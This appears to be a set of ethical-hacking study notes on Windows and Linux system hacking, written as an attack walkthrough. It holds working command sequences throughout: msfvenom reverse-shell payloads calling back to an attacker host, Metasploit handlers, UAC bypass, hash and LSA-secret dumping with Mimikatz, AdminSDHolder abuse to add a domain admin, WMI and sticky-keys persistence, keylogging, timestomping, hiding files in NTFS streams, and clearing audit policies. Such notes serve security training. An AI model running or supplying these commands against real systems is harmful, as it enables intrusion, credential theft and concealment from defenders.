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System Hacking

System hacking is the process of testing computer systems and software for security vulnerabilities that an attacker could exploit to gain access to the organization’s systems to steal or misuse sensitive information.


There are four steps in the system hacking:

  • Gaining Access: Use techniques such as cracking passwords and exploiting vulnerabilities to gain access to the target system
  • Escalating Privileges: Exploit known vulnerabilities existing in OSes and software applications to escalate privileges
  • Maintaining Access: Maintain high levels of access to perform malicious activities such as executing malicious applications and stealing, hiding, or tampering with sensitive system files
  • Clearing Logs: Avoid recognition by legitimate system users and remain undetected by wiping out the entries corresponding to malicious activities in the system logs, thus avoiding detection.

LLMNR (Link Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are two main elements of Windows OSes that are used to perform name resolution for hosts present on the same link. These services are enabled by default in Windows OSes and can be used to extract the password hashes from a user.

Responder is an LLMNR, NBT-NS, and MDNS poisoner. It responds to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool only responds to a File Server Service request, which is for SMB.

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=[IP Address of Host Machine] LPORT=444 -o /home/attacker/Desktop/Test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
  • https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
    • PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. It utilizes various service abuse checks, .dll hijacking opportunities, registry checks, etc. to enumerate common elevation methods for a target system.
    • powershell -ExecutionPolicy Bypass -Command ". .\PowerUp.ps1;Invoke-AllChecks"
  • run vnc

Armitage:

  • Armitage is a scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework. Using this tool, you can create sessions, share hosts, capture data, downloaded files, communicate through a shared event log, and run bots to automate pen testing tasks.

Ninja Jonin:

  • Ninja Jonin is a combination of two tools; Ninja is installed in victim machine and Jonin is installed on the attacker machine. The main functionality of the tool is to control a remote machine behind any NAT, Firewall and proxy.
  • https://github.com/ErAz7/Jonin

Buffer Overlow:

  • generic_send_tcp 10.10.1.11 9999 stats.spk 0 0
    • Here, 10.10.1.11 is the IP address of the target machine (Windows 11), 9999 is the target port number, stats.spk is the spike_script, and 0 and 0 are the values of SKIPVAR and SKIPSTR.
    • stats.spk
s_readline();
s_string(“TRUN ”);
s_string_variable(“0”);
  • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 11900
  • msfvenom -p windows/shell_reverse_tcp LHOST=[Local IP Address] LPORT=[Listening Port] EXITFUNC=thread -f c -a x86 -b “\x00”
    • Here, -p: payload, local IP address: 10.10.1.13, listening port: 4444., -f: filetype, -a: architecture, -b: bad character.

Privileges are a security role assigned to users for specific programs, features, OSes, functions, files, or codes. They limit access by type of user. Privilege escalation is required when you want to access system resources that you are not authorized to access. It takes place in two forms: vertical privilege escalation and horizontal privilege escalation.

  • Horizontal Privilege Escalation: An unauthorized user tries to access the resources, functions, and other privileges that belong to an authorized user who has similar access permissions

  • Vertical Privilege Escalation: An unauthorized user tries to gain access to the resources and functions of a user with higher privileges such as an application or site administrator

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.1.13 -f exe > /home/attacker/Desktop/Exploit.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
sessions -i 1 

run post/windows/gather/smart_hashdump

getsystem -t 1
: Uses the service – Named Pipe Impersonation (In Memory/Admin) Technique.

 use exploit/windows/local/bypassuac_fodhelper 
 set SESSION 1
 set payload windows/meterpreter/reverse_tcp
 
 getsystem -t 1
 run post/windows/gather/smart_hashdump
 
 
 msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.1.13 -f exe > /home/attacker/Desktop/Backdoor.exe

While performing post-exploitation activities, an attacker tries to access files to read their contents. Upon doing so, the MACE (modified, accessed, created, entry) attributes immediately change, which indicates to the file user or owner that someone has read or modified the information.

To leave no trace of these MACE attributes, use the timestomp command to change the attributes as you wish after accessing a file.

  • timestomp Secret.txt -v
  • timestomp Secret.txt -m “02/11/2018 08:10:03”
    • -m: specifies the modified value.
    • Accessed (-a), Created (-c), and Entry Modified (-e)
  • search -f [Filename.extension]
  • keyscan_start
    • start capturing all keyboard input from the target system.
  • dir /a:h
    • retrieve the directory names with hidden attributes.
  • sc queryex type=service state=all
    • list all the available services
  • netsh firewall show state
  • netsh firewall show config
  • wmic /node:"" product get name,version,vendor
    • view the details of installed software.
  • wmic cpu get
  • wmic useraccount get name,sid
    • retrieve login names and SIDs of the users.
  • wmic os where Primary='TRUE' reboot
    • reboot the target system.

image

Exploiting Vulnerability in pkexec

  • Polkit or Policykit is an authorization API used by programs to elevate permissions and run processes as an elevated user.The successful exploitation of the Polkit pkexec vulnerability allows any unprivileged user to gain root privileges on the vulnerable host.

  • In the pkexec.c code, there are parameters that doesn’t handle the calling correctly which ends up in trying to execute environment variables as commands. Attackers can exploit this vulnerability by designing an environment variable in such a manner that it will enable pkexec to execute an arbitrary code.

Misconfigured NFS

  • Network File System (NFS) is a protocol that enables users to access files remotely through a network. Remote NFS can be accessed locally when the shares are mounted. If NFS is misconfigured, it can lead to unauthorized access to sensitive data or obtain a shell on a system.

  • showmount -e 10.10.1.9

    • check if any share is available for mount in the target machine.

  • sudo mount -t nfs 10.10.1.9:/home /tmp/nfs

  • find / -name "*.txt" -ls 2> /dev/null

    • view all the .txt files on the system

  • find / -perm -4000 -ls 2> /dev/null

    • view the SUID executable binaries.

Exploiting Sticky Keys

  • Sticky keys is a Windows accessibility feature that causes modifier keys to remain active, even after they are released. Sticky keys help users who have difficulty in pressing shortcut key combinations. They can be enabled by pressing Shift key for 5 times. Sticky keys also can be used to obtain unauthenticated, previleged access to the machine.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Windows.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

search bypassuac
use exploit/windows/local/bypassuac_fodhelper
getsystem -t 1 

use post/windows/manage/sticky_keys

Gather Hashdump using Mimikatz

  • Mimikatz is a post exploitation tool that enables users to save and view authentication credentials such as kerberos tickets, dump passwords from memory, PINs, as well as hashes. It enables you to perform functions such as pass-the-hash, pass-the-ticket, and makes post exploitation lateral movement within a network.

bypass Windows UAC protection via the FodHelper Registry Key. It is present in Metasploit as a bypassuac_fodhelper exploit.

  • load kiwi
    • load mimikatz.
  • help kiwi
    • view all the kiwi commands.
  • lsa_dump_sam
    • load NTLM Hash of all users.
  • lsa_dump_secrets
    • LSA secrets are used to manage a system's local security policy, and contain sensitive data such as User passwords, IE passwords, service account passwords, SQL passwords etc.
  • password_change -u Admin -n [NTLM hash of Admin acquired in previous step] -P password

Discussed below are some of the remote code execution techniques:

  • Exploitation for client execution
  • Scheduled task
  • Service execution
  • Windows Management Instrumentation (WMI)
  • Windows Remote Management (WinRM)

Hiding Files: Hiding files is the process of hiding malicious programs using methods such as rootkits, NTFS streams, and steganography techniques to prevent the malicious programs from being detected by protective applications such as Antivirus, Anti-malware, and Anti-spyware applications that may be installed on the target system. This helps in maintaining future access to the target system as a hidden malicious file provides direct access to the target system without the victim’s consent.

Hide Files using NTFS Streams:

  • NTFS is a file system that stores any file with the help of two data streams, called NTFS data streams, along with file attributes. The first data stream stores the security descriptor for the file to be stored such as permissions; the second stores the data within a file. Alternate data streams are another type of named data stream that can be present within each file.
  • type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe
    • This command will hide calc.exe inside the readme.txt.
  • mklink backdoor.exe readme.txt:calc.exe

Hide Data using White Space Steganography

  • Steganography is the art and science of writing hidden messages in such a way that no one other than the intended recipient knows of the message’s existence. Steganography is classified based on the cover medium used to hide the file. A professional ethical hacker or penetration tester must have a sound knowledge of various steganography techniques.

  • Whitespace steganography is used to conceal messages in ASCII text by adding white spaces to the end of the lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. If the built-in encryption is used, the message cannot be read even if it is detected. To perform Whitespace steganography, various steganography tools such as snow are used. Snow is a program that conceals messages in text files by appending tabs and spaces to the end of lines, and that extracts hidden messages from files containing them. The user hides the data in the text file by appending sequences of up to seven spaces, interspersed with tabs.

  • https://darkside.com.au/snow/

Image Steganography using OpenStego and StegOnline

Images are popular cover objects used for steganography. In image steganography, the user hides the information in image files of different formats such as .PNG, .JPG, or .BMP.

OpenStego

  • OpenStego is an image steganography tool that hides data inside images. It is a Java-based application that supports password-based encryption of data for an additional layer of security. It uses the DES algorithm for data encryption, in conjunction with MD5 hashing to derive the DES key from the provided password.
  • https://www.openstego.com/

StegOnline

  • StegOnline is a web-based, enhanced and open-source port of StegSolve. It can be used to browse through the 32 bit planes of the image, extract and embed data using LSB steganography techniques and hide images within other image bit planes.
  • https://stegonline.georgeom.net/upload

Maintain Persistence by Abusing Boot or Logon Autostart Execution

  • The startup folder in Windows contains a list of application shortcuts that are executed when the Windows machine is booted. Injecting a malicious program into the startup folder causes the program to run when a user logins and helps you to maintain persistence or escalate privileges using the misconfigured startup folder.

Maintain Domain Persistence by Exploiting Active Directory Objects

  • AdminSDHolder is an Active Directory container with the default security permissions, it is used as a template for AD accounts and groups, such as Domain Admins, Enterprise Admins etc. to protect them from unintentional modification of permissions.

  • If a user account is added into the access control list of AdminSDHolder, the user will acquire "GenericAll" permissions which is equivalent to domain administrators.

  • Import-Module ./powerview.psm1

  • https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

  • Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName Martin -Verbose -Rights All

  • Get-ObjectAcl -SamAccountName "Martin” -ResolveGUIDs

Normally the changes in ACL will propagate automatically after 60 minutes, we can enter the following command to reduce the time interval of SDProp to 3 minutes.

REG ADD HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V AdminSDProtectFrequency /T REG_DWORD /F /D 300

Microsoft doesn’t recommend the modification of this setting, as this might cause performance issues in relation to LSASS process across the domain.

  • net group “Domain Admins” Martin /add /domain

image

Privilege Escalation and Maintain Persistence using WMI

  • WMI (Windows Management Instrumentation) event subscription can be used to install event filters, providers, and bindings that execute code when a defined event occurs. It enables system administrators to perform tasks locally and remotely.

  • load powershell

    • load powershell module.

  • powershell_shell

    • open powershell in the console.

  • Import-Module ./WMI-Persistence.ps1

  • Install-Persistence -Trigger Startup -Payload “C:\Users\Administrator\Downloads\wmi.exe”

Covert Channels using Covert_TCP

  • Networks use network access control permissions to permit or deny the traffic flowing through them. Tunneling is used to bypass the access control rules of firewalls, IDS, IPS, and web proxies to allow certain traffic. Covert channels can be created by inserting data into the unused fields of protocol headers. There are many unused or misused fields in TCP or IP over which data can be sent to bypass firewalls.

  • The Covert_TCP program manipulates the TCP/IP header of the data packets to send a file one byte at a time from any host to a destination. It can act like a server as well as a client and can be used to hide the data transmitted inside an IP header. This is useful when bypassing firewalls and sending data with legitimate-looking packets that contain no data for sniffers to analyze.

Clearing Logs

To remain undetected, the intruders need to erase all evidence of security compromise from the system. To achieve this, they might modify or delete logs in the system using certain log-wiping utilities, thus removing all evidence of their presence.

Various techniques used to clear the evidence of security compromise are as follow:

  • Disable Auditing: Disable the auditing features of the target system
  • Clearing Logs: Clears and deletes the system log entries corresponding to security compromise activities
  • Manipulating Logs: Manipulate logs in such a way that an intruder will not be caught in illegal actions
  • Covering Tracks on the Network: Use techniques such as reverse HTTP shells, reverse ICMP tunnels, DNS tunneling, and TCP parameters to cover tracks on the network.
  • Covering Tracks on the OS: Use NTFS streams to hide and cover malicious files in the target system
  • Deleting Files: Use command-line tools such as Cipher.exe to delete the data and prevent its future recovery
  • Disabling Windows Functionality: Disable Windows functionality such as last access timestamp, Hibernation, virtual memory, and system restore points to cover tracks

Auditpol

  • Auditpol.exe is the command-line utility tool to change the Audit Security settings at the category and sub-category levels. You can use Auditpol to enable or disable security auditing on local or remote systems and to adjust the audit criteria for different categories of security events.
  • In real-time, the moment intruders gain administrative privileges, they disable auditing with the help of auditpol.exe. Once they complete their mission, they turn auditing back on by using the same tool (audit.exe).
  • auditpol /get /category:*
    • view all the audit policies.
  • auditpol /set /category:"system","account logon" /success:enable /failure:enable
    • enable the audit policies.
  • auditpol /clear /y
    • clear the audit policies.

To hide the user account type net user Test /active:no and press Enter. The Test account is removed from the list.